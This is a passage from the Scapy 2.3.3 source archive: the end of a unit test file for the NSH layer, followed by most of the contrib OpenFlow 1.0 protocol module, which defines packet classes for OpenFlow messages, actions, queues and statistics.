Scapy NSH layer + Syntax check = Import the nsh layer from scapy.contrib.nsh import * + Basic Layer Tests = Build a NSH over NSH packet with NSP=42, and NSI=1 str(NSH(Len=2, NSP=42, NSI=1)/NSH()) == '\x00\x02\x01\x04\x00\x00*\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' = Build a Ethernet over NSH over Ethernet packet (NSH over Ethernet encapsulating the original packet) and verify Ethernet Bindings str(Ether(src="00:00:00:00:00:01", dst="00:00:00:00:00:02")/NSH()/Ether(src="00:00:00:00:00:03", dst="00:00:00:00:00:04")/ARP(psrc="10.0.0.1", hwsrc="00:00:00:00:00:01")) == '\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x01\x89O\x00\x00\x01\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x03\x08\x06\x00\x01\x08\x00\x06\x04\x00\x01\x00\x00\x00\x00\x00\x01\n\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' scapy-2.3.3/scapy/contrib/openflow.py000077500000000000000000001422651300136037300176310ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more information ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2014 Maxence Tury ## OpenFlow is an open standard used in SDN deployments. ## Based on OpenFlow v1.0.1 ## Specifications can be retrieved from https://www.opennetworking.org/ # scapy.contrib.description = openflow v1.0 # scapy.contrib.status = loads import struct from scapy.fields import * from scapy.layers.l2 import * from scapy.layers.inet import * ### If prereq_autocomplete is True then match prerequisites will be ### automatically handled. See OFPMatch class. prereq_autocomplete = False ##################################################### ################# Predefined values ################# ##################################################### ofp_port_no = { 0xfff8: "IN_PORT", 0xfff9: "TABLE", 0xfffa: "NORMAL", 0xfffb: "FLOOD", 0xfffc: "ALL", 0xfffd: "CONTROLLER", 0xfffe: "LOCAL", 0xffff: "NONE" } ofp_table = { 0xff: "ALL" } ofp_queue = { 0xffffffff: "ALL" } ofp_buffer = { 0xffffffff: "NO_BUFFER" } ofp_max_len = { 0xffff: "NO_BUFFER" } ##################################################### ################# Common structures ################# ##################################################### ### The following structures will be used in different types ### of OpenFlow messages: ports, matches, actions, queues. ##################### Ports ##################### ofp_port_config = [ "PORT_DOWN", "NO_STP", "NO_RECV", "NO_RECV_STP", "NO_FLOOD", "NO_FWD", "NO_PACKET_IN" ] ofp_port_state = [ "LINK_DOWN" ] ofp_port_state_stp = { 0: "OFPPS_STP_LISTEN", 1: "OFPPS_STP_LEARN", 2: "OFPPS_STP_FORWARD", 3: "OFPPS_STP_BLOCK" } ofp_port_features = [ "10MB_HD", "10MB_FD", "100MB_HD", "100MB_FD", "1GB_HD", "1GB_FD", "10GB_FD", "COPPER", "FIBER", "AUTONEG", "PAUSE", "PAUSE_ASYM" ] class OFPPhyPort(Packet): name = "OFP_PHY_PORT" fields_desc = [ ShortEnumField("port_no", 0, ofp_port_no), MACField("hw_addr", "0"), StrFixedLenField("port_name", "", 16), FlagsField("config", 0, 32, ofp_port_config), BitEnumField("stp_state", 0, 24, ofp_port_state), FlagsField("state", 0, 8, ofp_port_state), FlagsField("curr", 0, 32, ofp_port_features), FlagsField("advertised", 0, 32, ofp_port_features), FlagsField("supported", 0, 32, ofp_port_features), FlagsField("peer", 0, 32, ofp_port_features) ] def extract_padding(self, s): return "", s class OFPMatch(Packet): name = "OFP_MATCH" fields_desc= [ FlagsField("wildcards1", None, 12, [ "DL_VLAN_PCP", "NW_TOS" ]), BitField("nw_dst_mask", None, 6), BitField("nw_src_mask", None, 6), FlagsField("wildcards2", None, 8, [ "IN_PORT", "DL_VLAN", "DL_SRC", "DL_DST", "DL_TYPE", "NW_PROTO", "TP_SRC", "TP_DST" ]), ShortEnumField("in_port", None, ofp_port_no), MACField("dl_src", None), MACField("dl_dst", None), ShortField("dl_vlan", None), ByteField("dl_vlan_pcp", None), XByteField("pad1", None), ShortField("dl_type", None), ByteField("nw_tos", None), ByteField("nw_proto", None), XShortField("pad2", None), IPField("nw_src", "0"), IPField("nw_dst", "0"), ShortField("tp_src", None), ShortField("tp_dst", None) ] def extract_padding(self, s): return "", s ### with post_build we create the wildcards field bit by bit def post_build(self, p, pay): # first 10 bits of an ofp_match are always set to 0 l = "0"*10 # when one field has not been declared, it is assumed to be wildcarded if self.wildcards1 is None: if self.nw_tos is None: l+="1" else: l+="0" if self.dl_vlan_pcp is None: l+="1" else: l+="0" else: w1 = binrepr(self.wildcards1) l+="0"*(2-len(w1)) l+=w1 # ip masks use 6 bits each if self.nw_dst_mask is None: if self.nw_dst is "0": l+="111111" # 0x100000 would be ok too (32-bit IP mask) else: l+="0"*6 else: m1 = binrepr(self.nw_dst_mask) l+="0"*(6-len(m1)) l+=m1 if self.nw_src_mask is None: if self.nw_src is "0": l+="111111" else: l+="0"*6 else: m2 = binrepr(self.nw_src_mask) l+="0"*(6-len(m2)) l+=m2 # wildcards2 works the same way as wildcards1 if self.wildcards2 is None: if self.tp_dst is None: l+="1" else: l+="0" if self.tp_src is None: l+="1" else: l+="0" if self.nw_proto is None: l+="1" else: l+="0" if self.dl_type is None: l+="1" else: l+="0" if self.dl_dst is None: l+="1" else: l+="0" if self.dl_src is None: l+="1" else: l+="0" if self.dl_vlan is None: l+="1" else: l+="0" if self.in_port is None: l+="1" else: l+="0" else: w2 = binrepr(self.wildcards2) l+="0"*(8-len(w2)) l+=w2 ### In order to write OFPMatch compliant with the specifications, ### if prereq_autocomplete has been set to True ### we assume ethertype=IP or nwproto=TCP when appropriate subfields are provided. if prereq_autocomplete: if self.dl_type is None: if self.nw_src is not "0" or self.nw_dst is not "0" or self.nw_proto is not None or self.nw_tos is not None: p = p[:22] + struct.pack("!H", 0x0800) + p[24:] l = l[:-5] + "0" + l[-4:] if self.nw_proto is None: if self.tp_src is not None or self.tp_dst is not None: p = p[:22] + struct.pack("!H", 0x0800) + p[24:] l = l[:-5] + "0" + l[-4:] p = p[:25] + struct.pack("!B", 0x06) + p[26:] l = l[:-6] + "0" + l[-5:] ins = "".join(chr(int("".join(x),2)) for x in zip(*[iter(l)]*8)) p = ins + p[4:] return p + pay ###################### Actions ###################### class _ofp_action_header(Packet): name = "Dummy OpenFlow Action Header" def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] return p + pay ofp_action_types = { 0: "OFPAT_OUTPUT", 1: "OFPAT_SET_VLAN_VID", 2: "OFPAT_SET_VLAN_PCP", 3: "OFPAT_STRIP_VLAN", 4: "OFPAT_SET_DL_SRC", 5: "OFPAT_SET_DL_DST", 6: "OFPAT_SET_NW_SRC", 7: "OFPAT_SET_NW_DST", 8: "OFPAT_SET_NW_TOS", 9: "OFPAT_SET_TP_SRC", 10: "OFPAT_SET_TP_DST", 11: "OFPAT_ENQUEUE", 65535: "OFPAT_VENDOR" } class OFPATOutput(_ofp_action_header): name = "OFPAT_OUTPUT" fields_desc = [ ShortEnumField("type", 0, ofp_action_types), ShortField("len", 8), ShortEnumField("port", 0, ofp_port_no), ShortEnumField("max_len", "NO_BUFFER", ofp_max_len) ] class OFPATSetVLANVID(_ofp_action_header): name = "OFPAT_SET_VLAN_VID" fields_desc = [ ShortEnumField("type", 1, ofp_action_types), ShortField("len", 8), ShortField("vlan_vid", 0), XShortField("pad", 0) ] class OFPATSetVLANPCP(_ofp_action_header): name = "OFPAT_SET_VLAN_PCP" fields_desc = [ ShortEnumField("type", 2, ofp_action_types), ShortField("len", 8), ByteField("vlan_pcp", 0), X3BytesField("pad", 0) ] class OFPATStripVLAN(_ofp_action_header): name = "OFPAT_STRIP_VLAN" fields_desc = [ ShortEnumField("type", 3, ofp_action_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPATSetDlSrc(_ofp_action_header): name = "OFPAT_SET_DL_SRC" fields_desc = [ ShortEnumField("type", 4, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48) ] class OFPATSetDlDst(_ofp_action_header): name = "OFPAT_SET_DL_DST" fields_desc = [ ShortEnumField("type", 5, ofp_action_types), ShortField("len", 16), MACField("dl_addr", "0"), XBitField("pad", 0, 48) ] class OFPATSetNwSrc(_ofp_action_header): name = "OFPAT_SET_NW_SRC" fields_desc = [ ShortEnumField("type", 6, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0") ] class OFPATSetNwDst(_ofp_action_header): name = "OFPAT_SET_NW_DST" fields_desc = [ ShortEnumField("type", 7, ofp_action_types), ShortField("len", 8), IPField("nw_addr", "0") ] class OFPATSetNwToS(_ofp_action_header): name = "OFPAT_SET_TP_TOS" fields_desc = [ ShortEnumField("type", 8, ofp_action_types), ShortField("len", 8), ByteField("nw_tos", 0), X3BytesField("pad", 0) ] class OFPATSetTpSrc(_ofp_action_header): name = "OFPAT_SET_TP_SRC" fields_desc = [ ShortEnumField("type", 9, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0) ] class OFPATSetTpDst(_ofp_action_header): name = "OFPAT_SET_TP_DST" fields_desc = [ ShortEnumField("type", 10, ofp_action_types), ShortField("len", 8), ShortField("tp_port", 0), XShortField("pad", 0) ] class OFPATEnqueue(_ofp_action_header): name = "OFPAT_ENQUEUE" fields_desc = [ ShortEnumField("type", 11, ofp_action_types), ShortField("len", 16), ShortEnumField("port", 0, ofp_port_no), XBitField("pad", 0, 48), IntField("queue_id", 0) ] class OFPATVendor(_ofp_action_header): name = "OFPAT_VENDOR" fields_desc = [ ShortEnumField("type", 65535, ofp_action_types), ShortField("len", 8), IntField("vendor", 0) ] ofp_action_cls = { 0: OFPATOutput, 1: OFPATSetVLANVID, 2: OFPATSetVLANPCP, 3: OFPATStripVLAN, 4: OFPATSetDlSrc, 5: OFPATSetDlDst, 6: OFPATSetNwSrc, 7: OFPATSetNwDst, 8: OFPATSetNwToS, 9: OFPATSetTpSrc, 10: OFPATSetTpDst, 11: OFPATEnqueue, 65535: OFPATVendor } class ActionPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_action_cls.get(t, Raw)(s) @staticmethod def _get_action_length(s): return struct.unpack("!H", s[2:4])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = ActionPacketListField._get_action_length(remain) current = remain[:l] remain = remain[l:] p = self.m2i(pkt, current) lst.append(p) return remain, lst ####################### Queues ###################### class _ofp_queue_property_header(Packet): name = "Dummy OpenFlow Queue Property Header" def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] return p + pay ofp_queue_property_types = { 0: "OFPQT_NONE", 1: "OFPQT_MIN_RATE" } class OFPQTNone(_ofp_queue_property_header): name = "OFPQT_NONE" fields_desc = [ ShortEnumField("type", 0, ofp_queue_property_types), ShortField("len", 8), XIntField("pad", 0) ] class OFPQTMinRate(_ofp_queue_property_header): name = "OFPQT_MIN_RATE" fields_desc = [ ShortEnumField("type", 1, ofp_queue_property_types), ShortField("len", 16), XIntField("pad", 0), ShortField("rate", 0), XBitField("pad2", 0, 48) ] ofp_queue_property_cls = { 0: OFPQTNone, 1: OFPQTMinRate } class QueuePropertyPacketListField(PacketListField): def m2i(self, pkt, s): t = struct.unpack("!H", s[:2])[0] return ofp_queue_property_cls.get(t, Raw)(s) @staticmethod def _get_queue_property_length(s): return struct.unpack("!H", s[2:4])[0] def getfield(self, pkt, s): lst = [] l = 0 ret = "" remain = s while remain: l = QueuePropertyPacketListField._get_queue_property_length(remain) current = remain[:l] remain = remain[l:] p = self.m2i(pkt, current) lst.append(p) return remain + ret, lst class OFPPacketQueue(Packet): def extract_padding(self, s): return "", s def post_build(self, p, pay): if self.properties == []: p += str(OFPQTNone()) if self.len is None: l = len(p)+len(pay) p = p[:4] + struct.pack("!H", l) + p[6:] return p + pay name = "OFP_PACKET_QUEUE" fields_desc = [ IntField("queue_id", 0), ShortField("len", None), XShortField("pad", 0), QueuePropertyPacketListField("properties", [], Packet, length_from=lambda pkt:pkt.len-8) ] class QueuePacketListField(PacketListField): @staticmethod def _get_queue_length(s): return struct.unpack("!H", s[4:6])[0] def getfield(self, pkt, s): lst = [] l = 0 ret = "" remain = s while remain: l = QueuePacketListField._get_queue_length(remain) current = remain[:l] remain = remain[l:] p = OFPPacketQueue(current) lst.append(p) return remain + ret, lst ##################################################### ############## OpenFlow 1.0 Messages ################ ##################################################### class _ofp_header(Packet): name = "Dummy OpenFlow Header" def post_build(self, p, pay): if self.len is None: l = len(p)+len(pay) p = p[:2] + struct.pack("!H", l) + p[4:] return p + pay ofp_version = { 0x01: "OpenFlow 1.0", 0x02: "OpenFlow 1.1", 0x03: "OpenFlow 1.2", 0x04: "OpenFlow 1.3", 0x05: "OpenFlow 1.4" } ofp_type = { 0: "OFPT_HELLO", 1: "OFPT_ERROR", 2: "OFPT_ECHO_REQUEST", 3: "OFPT_ECHO_REPLY", 4: "OFPT_VENDOR", 5: "OFPT_FEATURES_REQUEST", 6: "OFPT_FEATURES_REPLY", 7: "OFPT_GET_CONFIG_REQUEST", 8: "OFPT_GET_CONFIG_REPLY", 9: "OFPT_SET_CONFIG", 10: "OFPT_PACKET_IN", 11: "OFPT_FLOW_REMOVED", 12: "OFPT_PORT_STATUS", 13: "OFPT_PACKET_OUT", 14: "OFPT_FLOW_MOD", 15: "OFPT_PORT_MOD", 16: "OFPT_STATS_REQUEST", 17: "OFPT_STATS_REPLY", 18: "OFPT_BARRIER_REQUEST", 19: "OFPT_BARRIER_REPLY", 20: "OFPT_QUEUE_GET_CONFIG_REQUEST", 21: "OFPT_QUEUE_GET_CONFIG_REPLY" } class OFPTHello(_ofp_header): name = "OFPT_HELLO" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 0, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} ##################################################### #################### OFPT_ERROR ##################### ##################################################### ### this class will be used to display some messages ### sent back by the switch after an error class OFPacketField(PacketField): def getfield(self, pkt, s): try: l = s[2:4] l = struct.unpack("!H", l)[0] ofload = s[:l] remain = s[l:] return remain, OpenFlow(None, ofload)(ofload) except: return "", Raw(s) ofp_error_type = { 0: "OFPET_HELLO_FAILED", 1: "OFPET_BAD_REQUEST", 2: "OFPET_BAD_ACTION", 3: "OFPET_FLOW_MOD_FAILED", 4: "OFPET_PORT_MOD_FAILED", 5: "OFPET_QUEUE_OP_FAILED" } class OFPETHelloFailed(_ofp_header): name = "OFPET_HELLO_FAILED" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 0, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPHFC_INCOMPATIBLE", 1: "OFPHFC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETBadRequest(_ofp_header): name = "OFPET_BAD_REQUEST" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 1, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPBRC_BAD_VERSION", 1: "OFPBRC_BAD_TYPE", 2: "OFPBRC_BAD_STAT", 3: "OFPBRC_BAD_VENDOR", 4: "OFPBRC_BAD_SUBTYPE", 5: "OFPBRC_EPERM", 6: "OFPBRC_BAD_LEN", 7: "OFPBRC_BUFFER_EMPTY", 8: "OFPBRC_BUFFER_UNKNOWN" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETBadAction(_ofp_header): name = "OFPET_BAD_ACTION" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 2, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPBAC_BAD_TYPE", 1: "OFPBAC_BAD_LEN", 2: "OFPBAC_BAD_VENDOR", 3: "OFPBAC_BAD_VENDOR_TYPE", 4: "OFPBAC_BAD_OUT_PORT", 5: "OFPBAC_BAD_ARGUMENT", 6: "OFPBAC_EPERM", 7: "OFPBAC_TOO_MANY", 8: "OFPBAC_BAD_QUEUE" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETFlowModFailed(_ofp_header): name = "OFPET_FLOW_MOD_FAILED" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 3, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPFMFC_ALL_TABLES_FULL", 1: "OFPFMFC_OVERLAP", 2: "OFPFMFC_EPERM", 3: "OFPFMFC_BAD_EMERG_TIMEOUT", 4: "OFPFMFC_BAD_COMMAND", 5: "OFPFMFC_UNSUPPORTED" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETPortModFailed(_ofp_header): name = "OFPET_PORT_MOD_FAILED" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 4, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPPMFC_BAD_PORT", 1: "OFPPMFC_BAD_HW_ADDR" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} class OFPETQueueOpFailed(_ofp_header): name = "OFPET_QUEUE_OP_FAILED" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 1, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("errtype", 5, ofp_error_type), ShortEnumField("errcode", 0, { 0: "OFPQOFC_BAD_PORT", 1: "OFPQOFC_BAD_QUEUE", 2: "OFPQOFC_EPERM" }), OFPacketField("data", "", Raw) ] overload_fields = {TCP: {"dport": 6653}} # ofp_error_cls allows generic method OpenFlow() to choose the right class for dissection ofp_error_cls = { 0: OFPETHelloFailed, 1: OFPETBadRequest, 2: OFPETBadAction, 3: OFPETFlowModFailed, 4: OFPETPortModFailed, 5: OFPETQueueOpFailed } ################ end of OFPT_ERRORS ################# class OFPTEchoRequest(_ofp_header): name = "OFPT_ECHO_REQUEST" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 2, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTEchoReply(_ofp_header): name = "OFPT_ECHO_REPLY" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 3, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTVendor(_ofp_header): name = "OFPT_VENDOR" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 4, ofp_type), ShortField("len", None), IntField("xid", 0), IntField("vendor", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTFeaturesRequest(_ofp_header): name = "OFPT_FEATURES_REQUEST" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 5, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} ofp_action_types_flags = ofp_action_types.values()[:-1] # no ofpat_vendor flag class OFPTFeaturesReply(_ofp_header): name = "OFPT_FEATURES_REPLY" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 6, ofp_type), ShortField("len", None), IntField("xid", 0), LongField("datapath_id", 0), IntField("n_buffers", 0), ByteField("n_tables", 1), X3BytesField("pad", 0), FlagsField("capabilities", 0, 32, [ "FLOW_STATS", "TABLE_STATS", "PORT_STATS", "STP", "RESERVED", "IP_REASM", "QUEUE_STATS", "ARP_MATCH_IP" ]), FlagsField("actions", 0, 32, ofp_action_types_flags), PacketListField("ports", None, OFPPhyPort, length_from=lambda pkt:pkt.len-32) ] overload_fields = {TCP: {"dport": 6653}} class OFPTGetConfigRequest(_ofp_header): name = "OFPT_GET_CONFIG_REQUEST" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 7, ofp_type), ShortField("len", None), IntField("xid", 0) ] overload_fields = {TCP: {"sport": 6653}} class OFPTGetConfigReply(_ofp_header): name = "OFPT_GET_CONFIG_REPLY" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 8, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, { 0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK" }), ShortField("miss_send_len", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPTSetConfig(_ofp_header): name = "OFPT_SET_CONFIG" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 9, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("flags", 0, { 0: "FRAG_NORMAL", 1: "FRAG_DROP", 2: "FRAG_REASM", 3: "FRAG_MASK" }), ShortField("miss_send_len", 128) ] overload_fields = {TCP: {"sport": 6653}} class OFPTPacketIn(_ofp_header): name = "OFPT_PACKET_IN" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 10, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortField("total_len", 0), ShortEnumField("in_port", 0, ofp_port_no), ByteEnumField("reason", 0, { 0: "OFPR_NO_MATCH", 1: "OFPR_ACTION" }), XByteField("pad", 0), PacketField("data", None, Ether) ] overload_fields = {TCP: {"dport": 6653}} class OFPTFlowRemoved(_ofp_header): name = "OFPT_FLOW_REMOVED" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 11, ofp_type), ShortField("len", None), IntField("xid", 0), PacketField("match", OFPMatch(), OFPMatch), LongField("cookie", 0), ShortField("priority", 0), ByteEnumField("reason", 0, { 0: "OFPRR_IDLE_TIMEOUT", 1: "OFPRR_HARD_TIMEOUT", 2: "OFPRR_DELETE" }), XByteField("pad1", 0), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("idle_timeout", 0), XShortField("pad2", 0), LongField("packet_count", 0), LongField("byte_count", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPTPortStatus(_ofp_header): name = "OFPT_PORT_STATUS" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 12, ofp_type), ShortField("len", None), IntField("xid", 0), ByteEnumField("reason", 0, { 0: "OFPPR_ADD", 1: "OFPPR_DELETE", 2: "OFPPR_MODIFY" }), XBitField("pad", 0, 56), PacketField("desc", OFPPhyPort(), OFPPhyPort) ] overload_fields = {TCP: {"dport": 6653}} class OFPTPacketOut(_ofp_header): name = "OFPT_PACKET_OUT" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 13, ofp_type), ShortField("len", None), IntField("xid", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortEnumField("in_port", "NONE", ofp_port_no), FieldLenField("actions_len", None, fmt="H", length_of="actions"), ActionPacketListField("actions", [], Packet, length_from=lambda pkt:pkt.actions_len), PacketField("data", None, Ether) ] overload_fields = {TCP: {"sport": 6653}} class OFPTFlowMod(_ofp_header): name = "OFPT_FLOW_MOD" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 14, ofp_type), ShortField("len", None), IntField("xid", 0), PacketField("match", OFPMatch(), OFPMatch), LongField("cookie", 0), ShortEnumField("cmd", 0, { 0: "OFPFC_ADD", 1: "OFPFC_MODIFY", 2: "OFPFC_MODIFY_STRICT", 3: "OFPFC_DELETE", 4: "OFPFC_DELETE_STRICT" }), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), ShortField("priority", 0), IntEnumField("buffer_id", "NO_BUFFER", ofp_buffer), ShortEnumField("out_port", "NONE", ofp_port_no), FlagsField("flags", 0, 16, [ "SEND_FLOW_REM", "CHECK_OVERLAP", "EMERG" ]), ActionPacketListField("actions", [], Packet, length_from=lambda pkt:pkt.len-72) ] overload_fields = {TCP: {"sport": 6653}} class OFPTPortMod(_ofp_header): name = "OFPT_PORT_MOD" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 15, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("port_no", 0, ofp_port_no), MACField("hw_addr", "0"), FlagsField("config", 0, 32, ofp_port_config), FlagsField("mask", 0, 32, ofp_port_config), FlagsField("advertise", 0, 32, ofp_port_features), IntField("pad", 0) ] overload_fields = {TCP: {"sport": 6653}} ##################################################### ##################### OFPT_STATS #################### ##################################################### ofp_stats_types = { 0: "OFPST_DESC", 1: "OFPST_FLOW", 2: "OFPST_AGGREGATE", 3: "OFPST_TABLE", 4: "OFPST_PORT", 5: "OFPST_QUEUE", 65535: "OFPST_VENDOR" } class OFPTStatsRequestDesc(_ofp_header): name = "OFPST_STATS_REQUEST_DESC" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 0, ofp_stats_types), FlagsField("flags", 0, 16, []) ] overload_fields = {TCP: {"sport": 6653}} class OFPTStatsReplyDesc(_ofp_header): name = "OFPST_STATS_REPLY_DESC" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 0, ofp_stats_types), FlagsField("flags", 0, 16, []), StrFixedLenField("mfr_desc", "", 256), StrFixedLenField("hw_desc", "", 256), StrFixedLenField("sw_desc", "", 256), StrFixedLenField("serial_num", "", 32), StrFixedLenField("dp_desc", "", 256) ] overload_fields = {TCP: {"dport": 6653}} class OFPTStatsRequestFlow(_ofp_header): name = "OFPST_STATS_REQUEST_FLOW" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 1, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketField("match", OFPMatch(), OFPMatch), ByteEnumField("table_id", "ALL", ofp_table), ByteField("pad", 0), ShortEnumField("out_port", "NONE", ofp_port_no) ] overload_fields = {TCP: {"sport": 6653}} class OFPFlowStats(Packet): def post_build(self, p, pay): if self.length is None: l = len(p)+len(pay) p = struct.pack("!H", l) + p[2:] return p + pay name = "OFP_FLOW_STATS" fields_desc = [ ShortField("length", None), ByteField("table_id", 0), XByteField("pad1", 0), PacketField("match", OFPMatch(), OFPMatch), IntField("duration_sec", 0), IntField("duration_nsec", 0), ShortField("priority", 0), ShortField("idle_timeout", 0), ShortField("hard_timeout", 0), XBitField("pad2", 0, 48), LongField("cookie", 0), LongField("packet_count", 0), LongField("byte_count", 0), ActionPacketListField("actions", [], Packet, length_from=lambda pkt:pkt.length-88) ] class FlowStatsPacketListField(PacketListField): @staticmethod def _get_flow_stats_length(s): return struct.unpack("!H", s[:2])[0] def getfield(self, pkt, s): lst = [] remain = s while remain: l = FlowStatsPacketListField._get_flow_stats_length(remain) current = remain[:l] remain = remain[l:] p = OFPFlowStats(current) lst.append(p) return remain, lst class OFPTStatsReplyFlow(_ofp_header): name = "OFPST_STATS_REPLY_FLOW" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 1, ofp_stats_types), FlagsField("flags", 0, 16, []), FlowStatsPacketListField("flow_stats", [], Packet, length_from=lambda pkt:pkt.len-12) ] overload_fields = {TCP: {"dport": 6653}} class OFPTStatsRequestAggregate(_ofp_header): name = "OFPST_STATS_REQUEST_AGGREGATE" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 2, ofp_stats_types), FlagsField("flags", 0, 16, []), PacketField("match", OFPMatch(), OFPMatch), ByteEnumField("table_id", "ALL", ofp_table), ByteField("pad", 0), ShortEnumField("out_port", "NONE", ofp_port_no) ] overload_fields = {TCP: {"sport": 6653}} class OFPTStatsReplyAggregate(_ofp_header): name = "OFPST_STATS_REPLY_AGGREGATE" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 17, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 2, ofp_stats_types), FlagsField("flags", 0, 16, []), LongField("packet_count", 0), LongField("byte_count", 0), IntField("flow_count", 0), XIntField("pad", 0) ] overload_fields = {TCP: {"dport": 6653}} class OFPTStatsRequestTable(_ofp_header): name = "OFPST_STATS_REQUEST_TABLE" fields_desc = [ ByteEnumField("version", 0x01, ofp_version), ByteEnumField("type", 16, ofp_type), ShortField("len", None), IntField("xid", 0), ShortEnumField("stats_type", 3, ofp_stats_types), FlagsField("flags", 0, 16, []) ] overload_fields = {TCP: {"sport": 6653}} class OFPTableStats(Packet): def extract_padding(self, s): return "", s name = "OFP_TABLE_STATS" fields_desc = [ ByteField("table_id", 0), X3BytesField("pad", 0), StrFixedLenField("name", "", 32), FlagsField("wildcards1", 0x003, 12, [ "DL_VLAN_PCP", "NW_TOS" ]), BitField("nw_dst_mask", 63, 6), # 32 would be enough BitField("nw_src_mask", 63, 6), FlagsField("wildcards2", 0xff, 8, [ "IN_PORT", "DL_VLAN", 